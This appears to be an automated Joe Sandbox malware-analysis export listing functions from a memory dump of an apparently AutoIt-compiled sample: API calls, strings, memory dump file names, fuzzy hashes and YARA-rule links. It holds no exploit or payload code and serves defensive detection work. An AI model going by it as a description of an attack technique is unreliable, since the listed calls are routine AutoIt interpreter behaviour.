RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0037534B
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 003B4BD7
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 003B4C18
RegCloseKey.ADVAPI32(?), ref: 003B4C5A
_wcslen.LIBCMT ref: 003B4CC1
_wcslen.LIBCMT ref: 003B4CD0

Strings

\, xrefs: 003B4CD6
\Include\, xrefs: 00375308
Include, xrefs: 003B4BCE, 003B4C0F
Software\AutoIt v3\AutoIt, xrefs: 00375341

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: e350312eaddc1360d4ec944f084a684657d2d6070e41745032eec956ef7e9a0b
Instruction ID: 866776efcf8bb1adc99a45c7146c65da2389e687789367653f8918f93ab329a9
Opcode Fuzzy Hash: e350312eaddc1360d4ec944f084a684657d2d6070e41745032eec956ef7e9a0b
Instruction Fuzzy Hash: 9771BE75504300AED715EF64DC829ABBBF8FF89B40F40442EF948CB1A1EB709A08CB59

Function 0037345A Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00373465
LoadCursorW.USER32(00000000,00007F00), ref: 00373474
LoadIconW.USER32(00000063), ref: 0037348A
LoadIconW.USER32(000000A4), ref: 0037349C
LoadIconW.USER32(000000A2), ref: 003734AE
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 003734C6
RegisterClassExW.USER32(?), ref: 00373517

Part of subcall function 003735AB: GetSysColorBrush.USER32(0000000F), ref: 003735DE
Part of subcall function 003735AB: RegisterClassExW.USER32(00000030), ref: 00373608
Part of subcall function 003735AB: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00373619
Part of subcall function 003735AB: InitCommonControlsEx.COMCTL32(?), ref: 00373636
Part of subcall function 003735AB: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00373646
Part of subcall function 003735AB: LoadIconW.USER32(000000A9), ref: 0037365C
Part of subcall function 003735AB: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 0037366B

Strings

0, xrefs: 003734E6
#, xrefs: 003734ED
AutoIt v3, xrefs: 00373506

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 07477a95b8ded188edc970c903b2ebca7b27d5eb1fecb328ad6d580452cf9f6f
Instruction ID: d15bc4156dc9c232db5d1cae76a2f85605a0b2e41a248b960477a54c1b9d9a13
Opcode Fuzzy Hash: 07477a95b8ded188edc970c903b2ebca7b27d5eb1fecb328ad6d580452cf9f6f
Instruction Fuzzy Hash: E3213D78D00314ABDB109FA5EE45AA97FB4FB09B50F40403AF904B72A0C3F945858F98

Function 0037CA50 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0037CE8E

Strings

p3D, xrefs: 003C15CC
p3D, xrefs: 0037CDB2
p3D, xrefs: 003C15B8
x3D, xrefs: 003C14D1
p5D, xrefs: 0037CE72
x3D, xrefs: 003C1570
p3D, xrefs: 0037CEAB
p5D, xrefs: 0037CC1C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Init_thread_footer
String ID: p3D$p3D$p3D$p3D$p5D$p5D$x3D$x3D
API String ID: 1385522511-1780764073
Opcode ID: f770730ec5207a34181b14c5b912830d02a1c9841e77048e4ca005e1cb6bc214
Instruction ID: 2abc1e725a26e6a38ecafb7ea714745e83a5386805ad8239845b08c4eddb4652
Opcode Fuzzy Hash: f770730ec5207a34181b14c5b912830d02a1c9841e77048e4ca005e1cb6bc214
Instruction Fuzzy Hash: CC32BF75A002059FDB26CF54C885FBAB7B9EF45300F26C06DE80AAB252C778ED41DB90

Function 00373AA3 Relevance: 16.3, APIs: 3, Strings: 6, Instructions: 532
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00377953: CloseHandle.KERNELBASE(?,?,00000000,003B3A1C), ref: 00377973

Part of subcall function 00376E52: CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00373B33,?,00008000), ref: 00376E80

SetCurrentDirectoryW.KERNELBASE(?,?,?,?,00000000), ref: 00373C17
_wcslen.LIBCMT ref: 00373C96
SetCurrentDirectoryW.KERNEL32(?), ref: 00373D81

Strings

AU3!, xrefs: 00373BC8
Error opening the file, xrefs: 003B4509, 003B4570
#include depth exceeded. Make sure there are no recursive includes, xrefs: 003B413C
Unterminated string, xrefs: 003B4554
EA06, xrefs: 003B41B4
Bad directive syntax error, xrefs: 003B44E2

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CurrentDirectory$CloseCreateFileHandle_wcslen
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 3350465876-3738523708
Opcode ID: a25fa10fef5c5b4d0c307be51029b5a68b80be6768cb6b402066e960f101f4aa
Instruction ID: 0832b33f4fb4bfeb8275fb055a5630c5b6f018863cb86e2cf366f0cd3967467a
Opcode Fuzzy Hash: a25fa10fef5c5b4d0c307be51029b5a68b80be6768cb6b402066e960f101f4aa
Instruction Fuzzy Hash: 9322C2314083419FC726EF24C851AAFBBF5BF95304F00891EF5899B2A2DB74DA48DB56

Function 0037F680 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 003C486A
D5D, xrefs: 0037FB61
D5DD5D, xrefs: 0037F92E
D5D, xrefs: 003C45E0
D5D, xrefs: 0037F890
D5D, xrefs: 003C458D

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID: D5D$D5D$D5D$D5D$D5DD5D$Variable must be of type 'Object'.
API String ID: 0-3522529179
Opcode ID: c9273ca240143e27a0b0c35d0a52afdcf2cdd467d4b020b5fc857e223ba65b4f
Instruction ID: bdbadcf60cd189109000881db454e6913923f9dfe8b348d9264e3c4cf0183d1d
Opcode Fuzzy Hash: c9273ca240143e27a0b0c35d0a52afdcf2cdd467d4b020b5fc857e223ba65b4f
Instruction Fuzzy Hash: 1FC2AA75A00205DFCB26DF98C880BADB7F1BF09310F258169E949AB3A1D779ED41CB91

Function 003802F0 Relevance: 15.2, APIs: 3, Strings: 5, Instructions: 1236COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 003815A2

Strings

D5D, xrefs: 00380667
D5D, xrefs: 00380A1A
D5DD5D, xrefs: 0038070B
D5D, xrefs: 003C5FF1
D5D, xrefs: 003C5F9D

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Init_thread_footer
String ID: D5D$D5D$D5D$D5D$D5DD5D
API String ID: 1385522511-811857780
Opcode ID: 9912794dd1568c0950d8e88cf8b5d98b6a5234851c7ba765e25f8d36d2c2036c
Instruction ID: ee402a13447d65e7cfde43a6985a8f41b4aae5668082d8cdf0e96fca27e542be
Opcode Fuzzy Hash: 9912794dd1568c0950d8e88cf8b5d98b6a5234851c7ba765e25f8d36d2c2036c
Instruction Fuzzy Hash: 93B2AD74A08300CFDB6AEF18C480A2AB7F5BF85700F25899DE9859B351D771ED85CB92

Function 00372A52 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00372A9B
CoUninitialize.COMBASE ref: 00372B3A
UnregisterHotKey.USER32(?), ref: 00372D1F
DestroyWindow.USER32(?), ref: 003B39F5
FreeLibrary.KERNEL32(?), ref: 003B3A5A
VirtualFree.KERNEL32(?,00000000,00008000), ref: 003B3A87

Strings

close all, xrefs: 00372A96

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 676d4a6f403870ca22004d01712286041c2303c1fa3617deb7ad40f13fec0042
Instruction ID: 7902a5bb6053f30df40af5e39e54a216f67e48d564555d5bc8228d9c3a63b1a1
Opcode Fuzzy Hash: 676d4a6f403870ca22004d01712286041c2303c1fa3617deb7ad40f13fec0042
Instruction Fuzzy Hash: 8FD17D31701222CFCB2AEF15C895B6AF7A4BF04704F1582ADE94A6B651CB34ED16CF44

Function 003E874A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 003E8907
SetCurrentDirectoryW.KERNELBASE(?), ref: 003E891B
GetFileAttributesW.KERNEL32(?), ref: 003E8945
SetFileAttributesW.KERNELBASE(?,00000000), ref: 003E895F
SetCurrentDirectoryW.KERNEL32(?), ref: 003E8971
SetCurrentDirectoryW.KERNEL32(?), ref: 003E89BA
SetCurrentDirectoryW.KERNELBASE(?,?,?,?,?), ref: 003E8A0A

Strings

*.*, xrefs: 003E89C0

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 97e0d1bcd92f4c4cb214d41f7873c448d6631b7b740353518a55110f50522ad7
Instruction ID: 9634844308a95df1b9f5b638cc042bf83e04b9ac9b6403c98b3c407ba749c953
Opcode Fuzzy Hash: 97e0d1bcd92f4c4cb214d41f7873c448d6631b7b740353518a55110f50522ad7
Instruction Fuzzy Hash: C381D572D043909FCB22EF56C444AAAB3E9BF84310F554A1EF88DDB291DB34D945CB52

Function 003A90D5 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7384d6e9990260a22935b928437768aae4199719fa9fc6122eba04064febc460
Instruction ID: 17ba905b72fe0fcad6de323b2e5cc507dbc092ec494a74cb2bf21222a85945a6
Opcode Fuzzy Hash: 7384d6e9990260a22935b928437768aae4199719fa9fc6122eba04064febc460
Instruction Fuzzy Hash: B5C1A074A043499FDF12DFA9C841BADBBB4EF0B310F19419AE914BB392C7349942CB65

Function 00372735 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00373205: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00373236
Part of subcall function 00373205: MapVirtualKeyW.USER32(00000010,00000000), ref: 0037323E
Part of subcall function 00373205: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00373249
Part of subcall function 00373205: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00373254
Part of subcall function 00373205: MapVirtualKeyW.USER32(00000011,00000000), ref: 0037325C
Part of subcall function 00373205: MapVirtualKeyW.USER32(00000012,00000000), ref: 00373264

Part of subcall function 0037318C: RegisterWindowMessageW.USER32(00000004,?,00372906), ref: 003731E4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 003729AC
OleInitialize.OLE32 ref: 003729CA
CloseHandle.KERNEL32(00000000,00000000), ref: 003B39E7

Strings

@(D, xrefs: 00372906
(&D, xrefs: 003728D4
0$D, xrefs: 003729D0
$D, xrefs: 003727AC

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: (&D$0$D$@(D$$D
API String ID: 1986988660-2548488434
Opcode ID: 8fc55767ac0159b2639e76ad87fa0e3395f7c1336a78e7ef7a1808d12f79a718
Instruction ID: 2e9f34b398e5c68f97d578c59c7917877b123d9d8473e0bc3a090a2de20c1d51
Opcode Fuzzy Hash: 8fc55767ac0159b2639e76ad87fa0e3395f7c1336a78e7ef7a1808d12f79a718
Instruction Fuzzy Hash: 42719FB8911200AED399EF79AF656197AE0FB4A3047C0823AF108DB271EBF84545CF1C

Function 0037353A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00373568
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00373589
ShowWindow.USER32(00000000,?,?,?,?,?,?,003732EF,?), ref: 0037359D
ShowWindow.USER32(00000000,?,?,?,?,?,?,003732EF,?), ref: 003735A6

Strings

edit, xrefs: 00373583
AutoIt v3, xrefs: 00373560, 00373565, 00373566

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 68457fe59ada3aba9819243deb634c770bbb97edec194d373f6cb116ae7c4c33
Instruction ID: 88468b40e0c3851b1d6c8b1cc5836d94c37bb301c9af9c6b0fd4fdb512305516
Opcode Fuzzy Hash: 68457fe59ada3aba9819243deb634c770bbb97edec194d373f6cb116ae7c4c33
Instruction Fuzzy Hash: B8F01778A002957AE7211B636D08E372EBDDBC7F50B40003ABD04A71A0C2B90889DAB8

Function 003755F8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,003755EB,SwapMouseButtons,00000004,?), ref: 0037561C
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,003755EB,SwapMouseButtons,00000004,?), ref: 0037563D
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,003755EB,SwapMouseButtons,00000004,?), ref: 0037565F

Strings

Control Panel\Mouse, xrefs: 0037561A

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 95ff094cac46116b35597169c93ce923b3c168b47eda69f2a7fbe5a8de753253
Instruction ID: c19630b52eb4520a6db1f7461e29c9edd7bc28e9d7459915206fbd1d14b44d4a
Opcode Fuzzy Hash: 95ff094cac46116b35597169c93ce923b3c168b47eda69f2a7fbe5a8de753253
Instruction Fuzzy Hash: 14117C75611608FFEB258FA4CC40EAF77BCEF44744F409469F809E7120D6B19E449764

Function 003CE71E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 003CE73D
FreeLibrary.KERNEL32 ref: 003CE763

Strings

X64, xrefs: 003CE626
GetSystemWow64DirectoryW, xrefs: 003CE737

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: bfdbb21536ef27e5785f03d0b7d9f6976630ea2cb88928ae5b0bb533fb3ee3cf
Instruction ID: 88c8406c6b4cdf02ebf933f79896f1187ae6da76c9b15e54241bbd0063a1aaa8
Opcode Fuzzy Hash: bfdbb21536ef27e5785f03d0b7d9f6976630ea2cb88928ae5b0bb533fb3ee3cf
Instruction Fuzzy Hash: 84E0E532C016119BD7731A604C48FA962286F10700F2504ADF881FA044DF78DC48878C

Function 003DDA81 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0040DC30), ref: 003DDABB
GetLastError.KERNEL32 ref: 003DDACA
CreateDirectoryW.KERNELBASE(?,00000000), ref: 003DDAD9
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0040DC30), ref: 003DDB36

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: e98fae0206cccec10d31710d827d3dbc80692db1edae7a8597b118e81d87800e
Instruction ID: d1e4fabbeabba941ee1aefc71db3b0a2e31bf7ecc710408bde3fe7d06d3636b0
Opcode Fuzzy Hash: e98fae0206cccec10d31710d827d3dbc80692db1edae7a8597b118e81d87800e
Instruction Fuzzy Hash: 35219F329082019FC711DF34D9819AAB7E8EE55368F154A2FF4A9973A1D730D90ACB42

Function 00373A1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 003B4115

Part of subcall function 0037557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00375558,?,?,003B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0037559E

Part of subcall function 003739DE: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003739FD

Strings

`uC, xrefs: 003B410E
X, xrefs: 003B40E3

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`uC
API String ID: 779396738-341515719
Opcode ID: b2c645edceef864d56483fbf1069a5d01301a1ec413fadac6f3b3a780ac3508a
Instruction ID: c3c7ba9fb275c39172294b561280a742434215b26961a46d471fdc52ccf842cd
Opcode Fuzzy Hash: b2c645edceef864d56483fbf1069a5d01301a1ec413fadac6f3b3a780ac3508a
Instruction Fuzzy Hash: 0921C671E002489BDB26DF98C8057EE7BFC9F49314F00801AE549BB241DBF85A899FA5

Function 0039016B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 003909F8

Part of subcall function 00393634: RaiseException.KERNEL32(?,?,?,00390A1A,?,00000000,?,?,?,?,?,?,00390A1A,00000000,00439758,00000000), ref: 00393694

__CxxThrowException@8.LIBVCRUNTIME ref: 00390A15

Strings

Unknown exception, xrefs: 00390A22

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
